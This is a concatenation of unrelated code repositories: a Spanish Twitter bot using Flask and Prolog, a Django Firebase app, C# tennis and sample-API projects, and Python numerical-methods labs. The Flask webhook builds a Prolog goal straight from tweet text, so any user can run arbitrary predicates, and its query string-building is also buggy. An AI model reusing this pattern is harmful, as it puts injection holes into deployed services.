**Consumer key**: la llave correspondiente en "keys and tokens" de nuestra app de twitter. - **Consumer Secret**: la llave correspondiente de la app. - **Access Token**: la llave correspondiente de la app. - **Access Token Secret**: la llave correspondiente de la app. - **Dev environment label**: el nombre que le pusimos al "dev environment" ![alt text](./recursos/img22.PNG) Una vez todo puesto, le damos start y seria todo. ## Pruebas Para testear el bot que hayamos creado, solo hace falta mandarle un tweet o un mensaje directo que diga "cursos (categoria)", en el programa de prolog solo tenemos 4 categorias, pero se pueden poner cuantas quieran. ### Consideraciones de las pruebas - la categoria debe iniciar en minuscula, de iniciar en mayuscula le estamos indicando a prolog que es una variable - la categoria debe ser una sola palabra, si son varias palabras hay que usar guión bajo para unirlas <file_sep>from flask import Flask, request, jsonify from pyswip import Prolog app = Flask(__name__) CATEGORIAS = ["movil", "desarrollo_web", "programacion", "hardware"] @app.route("/webhook/twitter", methods=["GET","POST"]) def manejador(): if request.method == "POST": json = request.get_json() peticion = json["queryResult"]["queryText"] palabras = peticion.split() respuesta = "" if palabras[0].lower() == "cursos" or palabras[0].lower() == "curso": if palabras[1] in CATEGORIAS: p = Prolog() p.consult("cursos.pl") for solution in p.query("curso(X,Y,Z," + palabras[1] +")"): respuesta += "curso: " + solution["X"] + " instuctor: " + solution["Y"] + " plataforma: " + solution["Z"] + "\n" else: respuesta = "no se encontro la categoria" else: p = Prolog() p.consult("cursos.pl") query = "" query += palabras[0] + "(" if len(palabras[1:]) >= 1: for palabra in palabras[1:]: query += palabra + "," query += query[:-1] + ")" for solution in p.query(query): for var in solution: respuesta += " var: " + var respuesta +="\n" else: respuesta = "No entendi tu pregunta, trata escribiendo \"cursos\" y una categoria" return jsonify({"fulfillmentText": respuesta}); return "hi"
7f4257b7f0684e2a5f7dd6297ee23d16c6ce6194
[ "Markdown", "Python" ]
2
Markdown
JacobMaldonado/Python-Prolog-twitter
1a1e6f096dffa2b8b5a843cf187f92fb0b4ed16a
ddf214388dfdf1375eee9c3ac90dbc53b1738ae8
refs/heads/master
<repo_name>bobwatcherx/djangoPyrebaseDatabase<file_sep>/requirements.txt aiofiles==0.5.0 aiohttp==3.7.4.post0 altgraph==0.17.2 appdirs==1.4.4 argon2-cffi==20.1.0 asgiref==3.2.10 async-generator==1.10 async-timeout==3.0.1 attrs==21.2.0 Automat==20.2.0 backcall==0.2.0 bcrypt==3.2.0 beautifulsoup4==4.9.1 bleach==3.2.1 blinker==1.4 bottle==0.12.18 bson==0.5.10 cachetools==4.2.1 certifi==2020.4.5.2 cffi==1.14.0 chardet==3.0.4 click==7.1.2 colorama==0.4.3 configparser==5.0.2 constantly==15.1.0 cryptography==3.4.8 DateTime==4.3 decorator==4.4.2 defusedxml==0.6.0 distlib==0.3.1 Django==3.0.5 djongo==1.3.3 dnspython==1.16.0 EasyProcess==0.3 entrypoint2==0.2.4 entrypoints==0.3 fastapi==0.61.1 filelock==3.0.12 Flask==1.1.2 Flask-Cors==3.0.9 Flask-Mail==0.9.1 Flask-PyMongo==2.3.0 Flask-UUID==0.2 Flask-WTF==0.14.3 future==0.18.2 gcloud==0.18.3 geoip2==4.4.0 get==2019.4.13 google-api-core==1.26.0 google-api-python-client==1.12.8 google-auth==1.27.0 google-auth-httplib2==0.0.4 googleapis-common-protos==1.52.0 gunicorn==20.0.4 h11==0.9.0 httplib2==0.18.1 hyperlink==21.0.0 idna==2.9 incremental==21.3.0 ipykernel==5.3.4 ipython==7.18.1 ipython-genutils==0.2.0 ipywidgets==7.5.1 itsdangerous==1.1.0 jedi==0.17.2 Jinja2==2.11.2 jsonschema==3.2.0 jupyter==1.0.0 jupyter-client==6.1.7 jupyter-console==6.2.0 jupyter-core==4.6.3 jupyterlab-pygments==0.1.2 jws==0.1.3 livereload==2.6.2 lxml==4.5.1 MarkupSafe==1.1.1 maxminddb==2.2.0 mistune==0.8.4 mock==4.0.2 mss==6.1.0 multidict==5.2.0 mysqlclient @ file:///D:/EBOOK/Video%20Tutorial/1.tampungan/mysqlclient-1.4.6-cp38-cp38-win32.whl Naked==0.1.31 nbclient==0.5.1 nbconvert==6.0.7 nbformat==5.0.8 nest-asyncio==1.4.1 notebook==6.1.4 numpy==1.19.2 oauth2client==4.1.2 opencv-contrib-python==4.5.3.56 packaging==21.0 pandas==1.1.2 pandocfilters==1.4.2 parso==0.7.1 pathtools==0.1.2 paypalrestsdk==1.13.1 pefile==2021.9.3 pickleshare==0.7.5 Pillow==7.2.0 plyer==2.0.0 post==2019.4.13 prometheus-client==0.8.0 prompt-toolkit==3.0.8 protobuf==3.12.2 psutil==5.7.0 public==2019.4.13 pyasn1==0.4.8 pyasn1-modules==0.2.8 pycparser==2.20 pycryptodome==3.11.0 pydantic==1.6.1 PyDrive==1.3.1 PyDrive2==1.7.3 pyfirebase==1.3 Pygments==2.7.1 PyInstaller==3.6 pymongo==3.10.1 pynput==1.6.8 pyOpenSSL==20.0.1 pyparsing==2.4.7 PyQt5==5.15.0 PyQt5-sip==12.8.0 Pyrebase4==4.3.0 pyrsistent==0.17.3 pyscreenshot==2.2 python-dateutil==2.8.2 python-firebase==1.2 python-jwt==2.0.1 python-multipart==0.0.5 pytz==2020.1 pywin32==228 pywin32-ctypes==0.2.0 pywinpty==0.5.7 PyYAML==5.4.1 pyzmq==19.0.2 qtconsole==4.7.7 QtPy==1.9.0 query-string==2019.4.13 Reloadr==0.4.1 request==2019.4.13 requests==2.24.0 requests-toolbelt==0.9.1 rsa==4.6 scapy==2.4.3 Send2Trash==1.5.0 service-identity==21.1.0 shellescape==3.8.1 six==1.15.0 soupsieve==2.0.1 sqlparse==0.2.4 sseclient==0.0.26 starlette==0.13.6 tabulate==0.8.2 terminado==0.9.1 testpath==0.4.4 tftpy==0.8.2 tornado==6.0.4 tqdm==4.62.3 traitlets==5.0.5 treq==21.5.0 Twisted==21.7.0 twisted-iocpsupport==1.0.2 typing-extensions==3.10.0.2 uritemplate==3.0.1 urllib3==1.25.9 uvicorn==0.11.8 virtualenv==20.0.25 watchdog==0.10.2 wcwidth==0.2.5 webencodings==0.5.1 websockets==8.1 Werkzeug==1.0.1 widgetsnbextension==3.5.1 WTForms==2.3.1 yarl==1.7.0 zope.interface==5.1.2 <file_sep>/blog/urls.py from django.urls import path from .views import home,add urlpatterns = [ path("",home), path("add",add) ]<file_sep>/blog/views.py from django.shortcuts import render,redirect import pyrebase from collections import OrderedDict # Create your views here. config = { "apiKey": "<KEY>", "authDomain": "percobaan-e53e5.firebaseapp.com", "databaseURL": "https://percobaan-e53e5.firebaseio.com", "projectId": "percobaan-e53e5", "storageBucket": "percobaan-e53e5.appspot.com", "messagingSenderId": "1053555899978", "appId": "1:1053555899978:web:3c0971388e04ae71a530b3", "measurementId": "G-NERTFG6RPW" }; firebase = pyrebase.initialize_app(config) db = firebase.database() def home(request): getdata = db.child("dball").child("fruitsall").get() odict = OrderedDict(getdata.val()) return render(request,"main.html",{"data":odict.values()}) def add(request): if request.method == "POST": fruits = request.POST['fruits'] result = db.child("dball").child("fruitsall").push({"name":fruits}) return redirect("/blog/")
fb98916343fc79e93e0fd58eb1e8f3c1e79f52a5
[ "Python", "Text" ]
3
Text
bobwatcherx/djangoPyrebaseDatabase
f0a5ec3caf030747615c8dc92c56bbb926e0ee20
bb2802caf2f9970810e911cd1a27bffda29cdb4a
refs/heads/master
<repo_name>JirkaVrbka/Katas<file_sep>/Tennis/TennisGame1.cs namespace Tennis { class TennisGame1 : ITennisGame { private int _player1Score = 0; private int _player2Score = 0; private readonly string _player1Name; private readonly string _player2Name; public TennisGame1(string player1Name, string player2Name) { _player1Name = player1Name; _player2Name = player2Name; } public void WonPoint(string playerName) { if (playerName == _player1Name) _player1Score += 1; if (playerName == _player2Name) _player2Score += 1; } public string GetScore() { if (_player1Score == _player2Score) return GetScoreWhenEqual(); if (_player1Score >= 4 || _player2Score >= 4) return GetScoreWhenOverFour(); return $"{ScoreToString(_player1Score)}-{ScoreToString(_player2Score)}"; } private string GetScoreWhenOverFour() { var minusResult = _player1Score - _player2Score; if (minusResult == 1) return "Advantage player1"; if (minusResult == -1) return "Advantage player2"; if (minusResult >= 2) return "Win for player1"; return "Win for player2"; } private string GetScoreWhenEqual() { switch (_player1Score) { case 0: case 1: case 2: return $"{ScoreToString(_player1Score)}-All"; default: return "Deuce"; } } private string ScoreToString(int scoreNum) { switch (scoreNum) { case 0: return "Love"; case 1: return "Fifteen"; case 2: return "Thirty"; default: return "Forty"; } } } } <file_sep>/Tennis/TennisGame2.cs using System; using System.Collections.Generic; using System.Linq; using NUnit.Framework; namespace Tennis { public class TennisGame2 : ITennisGame { private int _p1Point; private int _p2Point; private readonly string _player1Name; private readonly string _player2Name; private readonly List<Tuple<Func<int, int, bool>, Func<int, int, string>>> _judge = new List<Tuple<Func<int, int, bool>, Func<int, int, string>>> { new Tuple<Func<int, int, bool>, Func<int, int, string>> ((p1, p2) => p1 == p2 && p1 < 3, (p1, p2) => $"{ScoreToString(p1)}-All"), new Tuple<Func<int, int, bool>, Func<int, int, string>> ((p1, p2) => p1 == p2 && p1 > 2, (p1, p2) => "Deuce"), new Tuple<Func<int, int, bool>, Func<int, int, string>> ((p1, p2) => p1 >= 4 && p2 >= 0 && (p1 - p2) >= 2, (p1, p2) => "Win for player1"), new Tuple<Func<int, int, bool>, Func<int, int, string>> ((p1, p2) => p2 >= 4 && p1 >= 0 && (p2 - p1) >= 2, (p1, p2) => "Win for player2"), new Tuple<Func<int, int, bool>, Func<int, int, string>> ((p1, p2) => p1 > p2 && p2 >= 3, (p1, p2) => "Advantage player1"), new Tuple<Func<int, int, bool>, Func<int, int, string>> ((p1, p2) => p2 > p1 && p1 >= 3, (p1, p2) => "Advantage player2"), new Tuple<Func<int, int, bool>, Func<int, int, string>> ((p1, p2) => true, (p1, p2) => $"{ScoreToString(p1)}-{ScoreToString(p2)}"), }; public TennisGame2(string player1Name, string player2Name) { this._player1Name = player1Name; this._player2Name = player2Name; } public string GetScore() { return _judge.First(j => j.Item1.Invoke(_p1Point, _p2Point)).Item2.Invoke(_p1Point, _p2Point); } private static string ScoreToString(int scoreNum) { switch (scoreNum) { case 0: return "Love"; case 1: return "Fifteen"; case 2: return "Thirty"; default: return "Forty"; } } public void WonPoint(string player) { if (player == _player1Name) _p1Point++; if (player == _player2Name) _p2Point++; } } }
fc4e279bc613bc471422f967b2487ca35d058116
[ "C#" ]
2
C#
JirkaVrbka/Katas
be0c361b8dc1515f3cab6df89d5e5aad3a922fa4
fdfbc3d677f8dd8f2896581d6f0b6758e1e6afd9
refs/heads/master
<repo_name>james-knerr/SampleWebApp.API<file_sep>/SampleWebApp.API/Controllers/SampleController.cs using Microsoft.ApplicationInsights; using Microsoft.AspNetCore.Mvc; using Microsoft.Extensions.Logging; using SampleWebApp.API.Helpers; using SampleWebApp.API.Models; using SampleWebApp.API.ViewModels; using System; using System.Collections.Generic; using System.Net; namespace SampleWebApp.API.Controllers { [Route("samples")] public class SampleController : Controller { private ISampleRepository _repository; private ILogger<SampleController> _logger; private TelemetryClient _telemetry; public SampleController(ISampleRepository repository, TelemetryClient telemetry, ILogger<SampleController> logger) { _repository = repository; _logger = logger; _telemetry = telemetry; _telemetry.InstrumentationKey = Startup.Configuration["ApplicationInsights:InstrumentationKey"]; } [HttpGet("")] public JsonResult GetSamples() { Guid analyticsEventGuid = Guid.NewGuid(); Dictionary<string, string> analyticsProperties = new Dictionary<string, string>(); analyticsProperties.Add("Source", "API"); analyticsProperties.Add("Method", "GetSamples()"); analyticsProperties.Add("ID", GuidMappings.Map(analyticsEventGuid)); try { _telemetry.TrackEvent("Start", analyticsProperties); ICollection<SampleModel> samples = new List<SampleModel>(); samples = _repository.GetSamples(); ICollection<SampleViewModel> vms = new List<SampleViewModel>(samples.Count); foreach (var sample in samples) { vms.Add(sample.ToViewModel()); } Response.StatusCode = (int)HttpStatusCode.OK; _telemetry.TrackEvent("End", analyticsProperties); return Json(vms); } catch (Exception ex) { _logger.LogError("Failed to retrieve samples.", ex); Response.StatusCode = (int)HttpStatusCode.BadRequest; _telemetry.TrackEvent("Exception", analyticsProperties); return Json(new Message(ex)); } } [HttpPost("")] public JsonResult AddSample([FromBody] SampleViewModel vm) { Guid analyticsEventGuid = Guid.NewGuid(); Dictionary<string, string> analyticsProperties = new Dictionary<string, string>(); analyticsProperties.Add("Source", "API"); analyticsProperties.Add("Method", "AddSample()"); analyticsProperties.Add("ID", GuidMappings.Map(analyticsEventGuid)); try { _telemetry.TrackEvent("Start", analyticsProperties); if (ModelState.IsValid) { SampleModel newSample = vm.ToModel(); _repository.AddSample(newSample); SampleViewModel newVm = newSample.ToViewModel(); if (_repository.SaveAll(User)) { Response.StatusCode = (int)HttpStatusCode.OK; _telemetry.TrackEvent("End", analyticsProperties); return Json(newVm); } Response.StatusCode = (int)HttpStatusCode.BadRequest; _telemetry.TrackEvent("Exception", analyticsProperties); return Json(new Message(MessageType.Error, "Unable to save new sample")); } else { Response.StatusCode = (int)HttpStatusCode.BadRequest; _telemetry.TrackEvent("Exception", analyticsProperties); return Json(new Message(ModelState)); } } catch (Exception ex) { _logger.LogError("Failed to add sample.", ex); Response.StatusCode = (int)HttpStatusCode.BadRequest; return Json(new Message(ex)); } } } } <file_sep>/SampleWebApp.API/Data/SampleContext.cs using Microsoft.EntityFrameworkCore; using SampleWebApp.API.Models; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace SampleWebApp.API { public class SampleContext : DbContext { public SampleContext() { Database.EnsureCreated(); } public DbSet<SampleModel> Samples { get; set; } protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder) { var connString = Startup.Configuration["Settings:SampleConnection"]; optionsBuilder.UseSqlServer(connString); base.OnConfiguring(optionsBuilder); } protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); } } } <file_sep>/SampleWebApp.API/Models/SampleModel.cs using SampleWebApp.API.Helpers; using SampleWebApp.API.ViewModels; using System; using System.ComponentModel.DataAnnotations; namespace SampleWebApp.API.Models { public class SampleModel { [Key] public Guid Id { get; set; } public string SampleText { get; set; } public bool IsDeleted { get; set; } public SampleViewModel ToViewModel() { SampleViewModel vm = new SampleViewModel() { Id = GuidMappings.Map(this.Id), SampleText = this.SampleText, IsDeleted = this.IsDeleted }; return vm; } } } <file_sep>/SampleWebApp.API/Data/SampleRepository.cs using Microsoft.EntityFrameworkCore; using SampleWebApp.API.Helpers; using SampleWebApp.API.Models; using System; using System.Collections.Generic; using System.Linq; using System.Security.Claims; namespace SampleWebApp.API { public class SampleRepository : ISampleRepository { private SampleContext _context; public SampleRepository(SampleContext context) { _context = context; } public bool SaveAll(ClaimsPrincipal user) { var email = ""; //UserClaimHelper.Email(user.Identity); return SaveAll(email); } public bool SaveAll(string email) { // TODO: update changed records to have changed by email return _context.SaveChanges() > 0; } public ICollection<SampleModel> GetSamples(bool includeDeleted = false) { if (includeDeleted) { return _context.Samples.ToList(); } else { return _context.Samples.Where(k => k.IsDeleted == false).ToList(); } } public void AddSample(SampleModel newSample) { _context.Add(newSample); } } }<file_sep>/SampleWebApp.API/Startup.cs using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Logging; using Newtonsoft.Json.Serialization; namespace SampleWebApp.API { public class Startup { public static IConfigurationRoot Configuration { get; private set; } public Startup(IHostingEnvironment env) { var builder = new ConfigurationBuilder() .SetBasePath(env.ContentRootPath) .AddJsonFile("appsettings.json", optional: true, reloadOnChange: true) .AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true) .AddEnvironmentVariables(); Configuration = builder.Build(); } public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => { }) .AddJsonOptions(opt => { opt.SerializerSettings.ContractResolver = new CamelCasePropertyNamesContractResolver(); }); services.AddLogging(); services.AddDbContext<SampleContext>(); services.AddScoped<ISampleRepository, SampleRepository>(); } // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure( IApplicationBuilder app, IHostingEnvironment env, ILoggerFactory loggerFactory ) { loggerFactory.AddConsole(Configuration.GetSection("Logging")); loggerFactory.AddDebug(); app.UseCors(policy => { policy.AllowAnyOrigin(); policy.AllowAnyHeader(); policy.AllowAnyMethod(); }); app.UseMvc(); } } } <file_sep>/SampleWebApp.API/Helpers/GuidMappings.cs using System; namespace SampleWebApp.API.Helpers { public static class GuidMappings { public static Guid Map(string guid) { var gGuid = Guid.Empty; Guid.TryParse(guid, out gGuid); return gGuid; } public static string Map(Guid guid) { if (guid == null) return Guid.Empty.ToString(); return guid.ToString(); } } } <file_sep>/SampleWebApp.API/ViewModels/SampleViewModel.cs using SampleWebApp.API.Models; namespace SampleWebApp.API.ViewModels { public class SampleViewModel { public string Id { get; set; } public string SampleText { get; set; } public bool IsDeleted { get; set; } public SampleModel ToModel() { SampleModel model = new SampleModel() { SampleText = this.SampleText, IsDeleted = this.IsDeleted }; return model; } } } <file_sep>/SampleWebApp.API/Data/ISampleRepository.cs using SampleWebApp.API.Models; using System.Collections.Generic; using System.Security.Claims; namespace SampleWebApp.API { public interface ISampleRepository { bool SaveAll(ClaimsPrincipal userName); bool SaveAll(string email); ICollection<SampleModel> GetSamples(bool includeDeleted = false); void AddSample(SampleModel newSample); } } <file_sep>/SampleWebApp.API/Models/Message.cs using Microsoft.AspNetCore.Mvc.ModelBinding; using System; namespace SampleWebApp.API.Models { class Message { public MessageType Type { get; set; } public string Text { get; set; } public Message() { } public Message(Exception ex) { Type = MessageType.Error; Text = "Exception: " + ex.Message; if (ex.InnerException != null) Text += Environment.NewLine + " Inner Exception: " + ex.InnerException; } public Message(ModelStateDictionary modelState) { Type = MessageType.Error; this.Text = ModelStateHelpers.AggregateErrors(modelState); } public Message(MessageType type, string text) { this.Type = type; this.Text = text; } } enum MessageType { Info, Error, Success } }
2fa65f6e2131e144aa7ef98c35981ae281864fe4
[ "C#" ]
9
C#
james-knerr/SampleWebApp.API
9c0eea31df63f30de1736b43718485f3329aa429
5d188e36eadf19e2c8fc3166bf0b033e11b19ae8
refs/heads/master
<repo_name>RadekKpc/Mownit<file_sep>/lab6/main.py from numpy.linalg import solve from numpy.linalg import lstsq from math import fabs from scipy.linalg import lu import time def wyswietl(mat): for i in mat: for j in i: print(j, end=' ') print() with open('macierz.txt') as f: w, h = [float(x) for x in next(f).split()] matrix = [[float(x) for x in line.split()] for line in f] with open('left_side.txt') as f: w, h = [float(x) for x in next(f).split()] left_side = [[float(x) for x in line.split()] for line in f] left_side = left_side[0] def row_operation(row, func, ls, n): for i, r in enumerate(row): row[i] = func(row[i]) ls[n] = func(ls[n]) def check_is_zero(m, n, eps, ls): while abs(m[n][n]) < eps: for h, w in enumerate(m): if w[n] != 0 and h > n: for j, p in enumerate(w): m[n][j] = m[n][j] + w[j] ls[n] = ls[n] + ls[h] def solve_matrix(): for i, r in enumerate(matrix): check_is_zero(matrix, i, 0.0001, left_side) to_divide = matrix[i][i] row_operation(matrix[i], lambda x: x / to_divide, left_side, i) for j, k in enumerate(matrix): if j != i: to_multiply = matrix[j][i] left_side[j] = left_side[j] - to_multiply * left_side[i] for p, r in enumerate(k): matrix[j][p] = matrix[j][p] - to_multiply * matrix[i][p] start = time.process_time() solve_matrix() end = time.process_time() print("Time spent in above function is:", end - start) print("Macierz:") wyswietl(matrix) print("Rozwiazanie:") print(left_side) with open('macierz.txt') as f: w, h = [float(x) for x in next(f).split()] matrix = [[float(x) for x in line.split()] for line in f] with open('left_side.txt') as f: w, h = [float(x) for x in next(f).split()] left_side = [[float(x) for x in line.split()] for line in f] left_side = left_side[0] # numpy.linalg.solve print("Dla funkcji bibliotecznej numpy.linalg.solve") start = time.process_time() result = solve(matrix, left_side) end = time.process_time() print("Time spent in above function is:", end - start) print("Rozwiazanie:") list(result) print(result) # numpy.linalg.lstsq print("Dla funkcji bibliotecznej numpy.linalg.lstsq") start = time.process_time() result = lstsq(matrix, left_side, rcond=None) end = time.process_time() print("Time spent in above function is:", end - start) print("Rozwiazanie:") list(result) print(result) with open('faktoryzacja.txt') as f: w, h = [float(x) for x in next(f).split()] A = [[float(x) for x in line.split()] for line in f] def triangular_matrix(n, down=False): A = [] for i in range(n): A.append([]) for j in range(n): A[i].append(0) if down: for i in range(n): A[i][i] = 1 return A def change_rows(M, r1, r2, n): for i in range(n): tmp = M[r1][i] M[r1][i] = M[r2][i] M[r2][i] = tmp def find_pivot(M, L, U, col, N, perm_A): if col == N - 1: return # OBLICZANIE WAEROSCI DO POSZUKIWANIA ELEMENTU WIODACEGO left = [] for i in range(N): sum = 0 if i >= col: for j in range(col): sum += L[i][j] * U[j][col] left.append(M[i][col] - sum) else: left.append(0) # SZUKANIE ELEMENTU WIODACEGO ret = 0 for i, e in enumerate(left): if fabs(left[i]) > fabs(left[ret]): ret = i if (ret > col): change_rows(L, col, ret, col) change_rows(M, col, ret, N) # ZAPISYWANIE PERMUTACJI tmp = perm_A[col] perm_A[col] = perm_A[ret] perm_A[ret] = tmp def multiply_rows(A, B, x, y, N): sum = 0 for j in range(N): sum += A[x][j] * B[j][y] return sum def crout_alg(M): N = len(M) L = triangular_matrix(N, True) U = triangular_matrix(N) perm_A = [i for i in range(N)] # DLA KAZDEJ KOLUMNY for i in range(N): # UZUPELNIANIE MACIERZY U for j in range(N): if j < i: U[j][i] = M[j][i] - multiply_rows(L, U, j, i, N) # CZESCIOWE POSZUKIWANIE ELEMENTU WIODACEGO find_pivot(M, L, U, i, N, perm_A) # UZUPELNIANIE ELEMENATU U[i][i] U[i][i] = (M[i][i] - multiply_rows(L, U, i, i, N)) div = U[i][i] # UZUPELNIANIE MACIERZY L for j in range(N): if j > i: L[j][i] = (M[j][i] - multiply_rows(L, U, j, i, N)) / div return L, U, perm_A (L, U, perm_A) = crout_alg(A) wyswietl(L) print() wyswietl(U) print("Permutacja macierzy A: ", perm_A) print("Liczby w tablicy oznaczaja kolejnosc wierszy w permutowanej macierzy względem oryginału \n: ") # Sprawdzenie funkcji with open('faktoryzacja.txt') as f: w, h = [float(x) for x in next(f).split()] A = [[float(x) for x in line.split()] for line in f] p, l, u = lu(A, permute_l=False) wyswietl(l) print() wyswietl(u) print("Peruatation matrix A: ", p) <file_sep>/lab8/main.py import networkx as nx import matplotlib.pyplot as plt import numpy as np from sklearn import preprocessing import random epsilon = 0.0000001 inteartions = 99999 def norm(vec): suma = 0 for i in vec: suma += i return suma def power_finding(size,A): x0 = np.array([1 for i in range(size)]) x0 = np.array(x0/norm(x0)) out = False for i in range(inteartions): x1 = np.dot(A,x0) x2 = x1/norm(x1) if np.linalg.norm(x2 - x0) < epsilon: out = True x0 = x2 if out: break return x0/norm(x0) # zad1 def page_rank(G): V = len(G.nodes()) if(V <= 0): return A = nx.to_numpy_array(G) for e in G.edges(): n = 0 for a in A[e[0]]: if a > 0: n += 1 A[e[0]][e[1]]/= n A = np.transpose(A) return power_finding(V,A) def label_rank(G,rank): for i,g in enumerate(G.nodes()): G.nodes[i]['rank'] = rank[i] return G def show_graph(G): labels = nx.get_node_attributes(G, 'rank') for i,e in enumerate(labels): labels[i] = round(labels[i],4) pos = nx.circular_layout(G) nx.draw(G, pos=pos, node_size=300, with_labels=True) for i,e in enumerate(labels): x = pos[i][0] y= pos[i][1] plt.text(x,y+0.1,s = str(labels[i]),bbox=dict(facecolor='red', alpha=0.5),horizontalalignment='center') plt.show() def get_full_graph(v): G = nx.DiGraph() G.add_nodes_from([i for i in range(v)],rank = 0) for i in range(v): for j in range(v): G.add_edge(i,j) return G def get_graph(v): G = nx.DiGraph() G.add_nodes_from([i for i in range(v)],rank = 0) for i in range(v): for j in range(v): G.add_edge(i,j) for i in range(8*v): x = random.randint(0,v) y = random.randint(0,v) if (x,y) in G.edges(): G.remove_edges_from([(x,y)]) return G G = nx.DiGraph() G.add_nodes_from([0,1,2],rank = 0) G.add_edge(0,1) G.add_edge(1,2) G.add_edge(2,0) G.add_edge(0,2) rank = page_rank(G) G = label_rank(G,rank) print(rank) show_graph(G) G = get_full_graph(11) rank = page_rank(G) G = label_rank(G,rank) print(rank) show_graph(G) G = get_graph(12) rank = page_rank(G) G = label_rank(G,rank) print(rank) show_graph(G) G = get_graph(13) rank = page_rank(G) G = label_rank(G,rank) print(rank) show_graph(G) # zadanie 2 def page_rank_2(G,E,d): V = len(G.nodes()) if(V <= 0): return A = nx.to_numpy_array(G) for e in G.edges(): n = 0 for a in A[e[0]]: if a > 0: n += 1 A[e[0]][e[1]]/= n for i,a in enumerate(A): for j,b in enumerate(a): A[i][j] *= d for i,a in enumerate(A): for j,b in enumerate(E): A[i][j] += (1-d)*E[j] A = np.transpose(A) return power_finding(V,A) def open_graph(garph_file): G = nx.DiGraph() with open(garph_file) as f: v, e = [int(x) for x in next(f).split()] edges = [[int(x) for x in line.split()] for line in f] G.add_nodes_from([i for i in range(v)],rank =0) G.add_edges_from(edges) return G, v G = nx.DiGraph() G.add_nodes_from([0,1,2,3],rank = 0) G.add_edge(0,1) G.add_edge(1,2) G.add_edge(2,0) G.add_edge(0,2) G.add_edge(3,2) v = 4 e = [1/v for i in range(0,v)] print(e) rank = page_rank_2(G,e,0.85) G = label_rank(G,rank) print(rank) show_graph(G) G, v = open_graph('email-Eu-core.txt') e = [1/v for i in range(0,v)] rank = page_rank_2(G,e,0.85) G, v = open_graph('p2p-Gnutella08.txt') e = [1/v for i in range(0,v)] rank = page_rank_2(G,e,0.85) for i,e in enumerate(rank): print(f"node: {i} : {e}")<file_sep>/lab11/main.py import numpy as np from random import random import scipy import scipy.stats as stats import matplotlib.pyplot as plt from scipy.special import erfc import math import struct N = [10,1000,5000] # https://matplotlib.org/3.1.1/gallery/statistics/hist.html # https://stackoverflow.com/questions/16444726/binary-representation-of-float-in-python-bits-not-hex def binary(num): return ''.join(bin(ord(c)).replace('0b', '').rjust(8, '0') for c in str(struct.pack('!f', num))) def frequency(bits): s = 0 for l in bits: if l == '0': s -= 1 if l == '1': s += 1 sobs = s/(len(bits)) res = (erfc(math.fabs(sobs)/math.sqrt(2))) print(res) if res >= 0.1 : print("Accept the sequence as random") else: print("Not accept the sequence as random") return res def test_generators(N): twister = [] pcg64 = [] n_bins = 10 for _ in range(N): twister.append(random()) pcg64.append(np.random.default_rng().random()) # show histograms _ , axs = plt.subplots(1, 2, sharey=True, tight_layout=True) axs[0].hist(twister, bins=n_bins, color = 'b', label = "twister") axs[0].legend() axs[1].hist(pcg64, bins=n_bins, color = 'r', label = "pcg64") axs[1].legend() plt.show() twister_count = 0 pcg64_count = 0 # check equanation xi < xi+1 for i in range(N-1): if twister[i] < twister[i+1]: twister_count += 1 if pcg64[i] < pcg64[i + 1]: pcg64_count += 1 print(f'N = {N}') print(f'dla pcg64 rownanie spełnia {pcg64_count} liczb\n') print(f'dla twister rownanie spełnia {twister_count} liczb\n') # test #Frequency (Monobit) Test twister_bit_string = "" pcg64_bit_string = "" for i in pcg64: pcg64_bit_string += binary(i) for i in twister: twister_bit_string += binary(i) frequency(pcg64_bit_string) frequency(twister_bit_string) for n in N: test_generators(n) # Generowanie liczb z rokladu normalnego # rozklad normalny: NX = [] NY = [] for i in range(-10000,10000): NX.append(4*i/10000) NY.append((1/math.sqrt(2*math.pi))*math.exp(-math.pow(4*i/10000,2)/2)) plt.plot(NX,NY,'bo',markersize=1) plt.show() # http://th.if.uj.edu.pl/~bwrobel/prezentacja_01.pdf def gen_norm(n,u,e): X = [] Y = [] for i in range(n): while True: X1 = random() X2 = random() V1 = (float) (2*X1 - 1) V2 = (float) (2*X2 - 1) R = math.sqrt(math.fabs(V1*V1 - V2*V2)) if R < 1: break X.append(u + e*math.sqrt((-2)*math.log(X1))*(V1/R)) Y.append(u + e*math.sqrt((-2)*math.log(X1))*(V2/R)) _ , axs = plt.subplots(1, 2, sharey=True, tight_layout=True) axs[0].hist(X, bins=10, color = 'b', label = "twister") axs[0].plot(NX,np.array(NY)*n,'ro',markersize=1) # axs[0].plot(X,Y,'bo',markersize=1) axs[0].legend() axs[1].hist(Y, bins=10, color = 'r', label = "pcg64") axs[1].plot(NX,np.array(NY)*n,'bo',markersize=1) axs[1].legend() plt.show() # testy shapiro-wilka WX = stats.shapiro(X) print(WX) WY = stats.shapiro(Y) print(WY) for n in N: gen_norm(n,0,1) # Wyznaczanie PI metoda monte carlo def monte_carlo(n,visualize = True): in_circle_x = [] in_circle_y = [] out_circle_x = [] out_circle_y = [] for i in range(n): x = np.random.uniform(-1,1) y = np.random.uniform(-1,1) if x*x + y*y <= 1: in_circle_x.append(x) in_circle_y.append(y) else: out_circle_x.append(x) out_circle_y.append(y) if visualize: plt.plot(in_circle_x,in_circle_y,'ro',markersize=1) plt.plot(out_circle_x,out_circle_y,'bo',markersize=1) plt.show() return (4*len(in_circle_x)/n) print(monte_carlo(10)) print(monte_carlo(100)) print(monte_carlo(1000)) print(monte_carlo(10000)) print(monte_carlo(100000)) print(monte_carlo(1000000)) # blad bezwzgledny a n X = [] Y = [] for i in range(100,10000,10): Y.append(math.fabs(monte_carlo(i,visualize=False)-math.pi)) X.append(i) plt.plot(X,Y,'bo',markersize=1) plt.show() <file_sep>/lab3/zad1.py import math import random from mpl_toolkits.mplot3d import Axes3D from matplotlib import cm from matplotlib.ticker import LinearLocator, FormatStrFormatter import matplotlib.pyplot as plt import numpy as np # showing 3d plot def show_3d_plot(X,Y,Z,label): fig = plt.figure() ax = fig.gca(projection='3d') ax.scatter(X, Y, Z, c='b', marker='o',s=1) # Create cubic bounding box to simulate equal aspect ratio max_range = np.array([np.amax(X)-np.amin(X), np.amax(Y)-np.amin(Y), np.amax(Z)-np.amin(Z)]).max() Xb = 